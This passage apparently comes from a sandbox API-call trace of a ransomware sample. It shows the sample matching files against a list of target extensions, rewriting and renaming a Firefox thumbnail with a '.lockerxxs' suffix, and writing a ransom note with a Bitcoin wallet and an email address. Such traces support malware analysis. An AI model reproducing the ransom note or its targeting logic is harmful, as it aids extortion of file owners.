HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.ofx") returned 0 [0086.330] lstrlenA (lpString="*.ofx") returned 5 [0086.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.qif") returned 0 [0086.330] lstrlenA (lpString="*.qif") returned 5 [0086.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.mye") returned 0 [0086.330] lstrlenA (lpString="*.mye") returned 5 [0086.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.mbox") returned 0 [0086.330] lstrlenA (lpString="*.mbox") returned 6 [0086.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.eml") returned 0 [0086.330] lstrlenA (lpString="*.eml") returned 5 [0086.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.pst") returned 0 [0086.330] lstrlenA (lpString="*.pst") returned 5 [0086.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.ost") returned 0 [0086.331] lstrlenA (lpString="*.ost") returned 5 [0086.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.idx") returned 0 [0086.331] lstrlenA (lpString="*.idx") returned 5 [0086.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.dbx") returned 0 [0086.331] lstrlenA (lpString="*.dbx") returned 5 [0086.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.sql") returned 0 [0086.331] lstrlenA (lpString="*.sql") returned 5 [0086.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.mdb") returned 0 [0086.331] lstrlenA (lpString="*.mdb") returned 5 [0086.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.fdb") returned 0 [0086.331] lstrlenA (lpString="*.fdb") returned 5 [0086.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.wab") returned 0 [0086.331] lstrlenA (lpString="*.wab") returned 5 [0086.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.dat") returned 0 [0086.331] lstrlenA (lpString="*.dat") returned 5 [0086.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.txt") returned 0 [0086.331] lstrlenA (lpString="*.txt") returned 5 [0086.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.jpeg") returned 0 [0086.331] lstrlenA (lpString="*.jpeg") returned 6 [0086.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.jpg") returned 0 [0086.331] lstrlenA (lpString="*.jpg") returned 5 [0086.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", pszSpec="*.png") returned 1 [0086.332] lstrlenA (lpString="*.png") returned 5 [0086.332] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" [0086.332] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" [0086.332] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png." [0086.332] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.lockerxxs" [0086.332] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0086.333] GetFileSize (in: hFile=0xa0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1c362 [0086.334] GetFileTime (in: hFile=0xa0, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb97ade50, dwHighDateTime=0x1d2dda4), lpLastAccessTime=0x407536*(dwLowDateTime=0xb97ade50, dwHighDateTime=0x1d2dda4), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb97ade50, dwHighDateTime=0x1d2dda4)) returned 1 [0086.334] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.334] ReadFile (in: hFile=0xa0, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1c33c, lpOverlapped=0x0) returned 1 [0086.337] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png") returned="ce8c0453589216a67cddb50284fbfe8d.png" [0086.338] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.338] WriteFile (in: hFile=0xa0, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1c33c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1c33c, lpOverlapped=0x0) returned 1 [0086.339] SetFileTime (hFile=0xa0, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.339] CloseHandle (hObject=0xa0) returned 1 [0086.339] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.lockerxxs")) returned 1 [0086.340] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb97ade50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb97ade50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb97ade50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x1c362, dwReserved0=0xb80001b9, dwReserved1=0x4e00c4, cFileName="ce8c0453589216a67cddb50284fbfe8d.png", cAlternateFileName="CE8C04~1.PNG")) returned 0 [0086.341] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.341] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x853a9e10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x5014f8, dwReserved1=0x52d540, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 1 [0086.341] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0086.341] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_CACHE_CLEAN_") returned 1 [0086.341] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_CACHE_CLEAN_") returned 1 [0086.341] lstrcmpiA (lpString1="", lpString2="_CACHE_CLEAN_") returned -1 [0086.341] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*") returned="*.*" [0086.341] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\" [0086.341] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\") returned="" [0086.341] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\HOW TO DECRYPT FILES.txt" [0086.341] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\how to decrypt files.txt")) returned 0xffffffff [0086.341] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0086.342] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.342] WriteFile (in: hFile=0x9c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.343] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.343] CloseHandle (hObject=0x9c) returned 1 [0086.344] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", lpString2="_CACHE_CLEAN_" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_" [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.ems") returned 0 [0086.344] lstrlenA (lpString="*.ems") returned 5 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.db") returned 0 [0086.344] lstrlenA (lpString="*.db") returned 4 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.dbf") returned 0 [0086.344] lstrlenA (lpString="*.dbf") returned 5 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.myox") returned 0 [0086.344] lstrlenA (lpString="*.myox") returned 6 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.myo") returned 0 [0086.344] lstrlenA (lpString="*.myo") returned 5 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.qbw") returned 0 [0086.344] lstrlenA (lpString="*.qbw") returned 5 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.qbb") returned 0 [0086.344] lstrlenA (lpString="*.qbb") returned 5 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.qbm") returned 0 [0086.344] lstrlenA (lpString="*.qbm") returned 5 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.qbo") returned 0 [0086.344] lstrlenA (lpString="*.qbo") returned 5 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.qbx") returned 0 [0086.344] lstrlenA (lpString="*.qbx") returned 5 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.qba") returned 0 [0086.344] lstrlenA (lpString="*.qba") returned 5 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.qby") returned 0 [0086.344] lstrlenA (lpString="*.qby") returned 5 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.qbj") returned 0 [0086.344] lstrlenA (lpString="*.qbj") returned 5 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.ofx") returned 0 [0086.344] lstrlenA (lpString="*.ofx") returned 5 [0086.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.qif") returned 0 [0086.344] lstrlenA (lpString="*.qif") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.mye") returned 0 [0086.345] lstrlenA (lpString="*.mye") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.mbox") returned 0 [0086.345] lstrlenA (lpString="*.mbox") returned 6 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.eml") returned 0 [0086.345] lstrlenA (lpString="*.eml") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.pst") returned 0 [0086.345] lstrlenA (lpString="*.pst") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.ost") returned 0 [0086.345] lstrlenA (lpString="*.ost") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.idx") returned 0 [0086.345] lstrlenA (lpString="*.idx") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.dbx") returned 0 [0086.345] lstrlenA (lpString="*.dbx") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.sql") returned 0 [0086.345] lstrlenA (lpString="*.sql") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.mdb") returned 0 [0086.345] lstrlenA (lpString="*.mdb") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.fdb") returned 0 [0086.345] lstrlenA (lpString="*.fdb") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.wab") returned 0 [0086.345] lstrlenA (lpString="*.wab") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.dat") returned 0 [0086.345] lstrlenA (lpString="*.dat") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.txt") returned 0 [0086.345] lstrlenA (lpString="*.txt") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.jpeg") returned 0 [0086.345] lstrlenA (lpString="*.jpeg") returned 6 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.jpg") returned 0 [0086.345] lstrlenA (lpString="*.jpg") returned 5 [0086.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.png") returned 0 [0086.346] lstrlenA (lpString="*.png") returned 5 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.php") returned 0 [0086.346] lstrlenA (lpString="*.php") returned 5 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.cs") returned 0 [0086.346] lstrlenA (lpString="*.cs") returned 4 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.cpp") returned 0 [0086.346] lstrlenA (lpString="*.cpp") returned 5 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.rar") returned 0 [0086.346] lstrlenA (lpString="*.rar") returned 5 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.zip") returned 0 [0086.346] lstrlenA (lpString="*.zip") returned 5 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.html") returned 0 [0086.346] lstrlenA (lpString="*.html") returned 6 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.htm") returned 0 [0086.346] lstrlenA (lpString="*.htm") returned 5 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.xlsx") returned 0 [0086.346] lstrlenA (lpString="*.xlsx") returned 6 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.xls") returned 0 [0086.346] lstrlenA (lpString="*.xls") returned 5 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.mp4") returned 0 [0086.346] lstrlenA (lpString="*.mp4") returned 5 [0086.346] PathMatchSpecA 